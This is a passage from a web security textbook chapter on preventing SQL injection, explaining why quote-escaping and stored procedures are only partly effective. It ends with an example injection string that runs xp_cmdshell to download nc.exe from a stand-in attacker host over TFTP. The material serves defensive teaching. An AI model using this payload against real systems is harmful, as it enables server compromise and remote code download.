The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

Chapter 9 

■

Injecting Code

295

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 295

---

Preventing SQL Injection

Despite all of its different manifestations, and the complexities that can arise in

its exploitation, SQL injection is in general one of the easier vulnerabilities to

prevent. Nevertheless, discussion about SQL injection countermeasures is fre-

quently misleading, and many people rely upon defensive measures that are

only partially effective.

Partially Effective Measures 

Because of the prominence of the single quotation mark in the standard expla-

nations of SQL injection flaws, a common approach to preventing attacks is to

escape any single quotation marks within user input by doubling them up.

You have already seen two situations in which this approach fails:

■■

If numeric user-supplied data is being embedded into SQL queries, this

is not normally encapsulated within single quotation marks. Hence, an

attacker can break out of the data context and begin entering arbitrary

SQL, without the need to supply a single quotation mark.

■■

In second-order SQL injection attacks, data that has been safely escaped

when initially inserted into the database is subsequently read from the

database and then passed back to it again. Quotation marks that have

been doubled up initially will return to their original form when the

data is reused.

Another countermeasure that is often cited is the use of stored procedures

for all database access. There is no doubt that custom stored procedures can

provide security and performance benefits; however, they are not guaranteed

to prevent SQL injection vulnerabilities, for two reasons:

■■

As you saw in the case of Oracle, a poorly written stored procedure can

contain SQL injection vulnerabilities within its own code. Similar secu-

rity issues arise when constructing SQL statements within stored proce-

dures as do elsewhere, and the fact that a stored procedure is being

used does not prevent flaws from arising.

■■

Even if a robust stored procedure is being used, SQL injection vulnera-

bilities can arise if it is invoked in an unsafe way using user-supplied

input. For example, suppose that a user registration function is imple-

mented within a stored procedure, which is invoked as follows:

exec sp_RegisterUser ‘joe’, ‘secret’

This statement may be just as vulnerable as a simple 

INSERT

statement.

For example, an attacker may supply the following password:

foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’--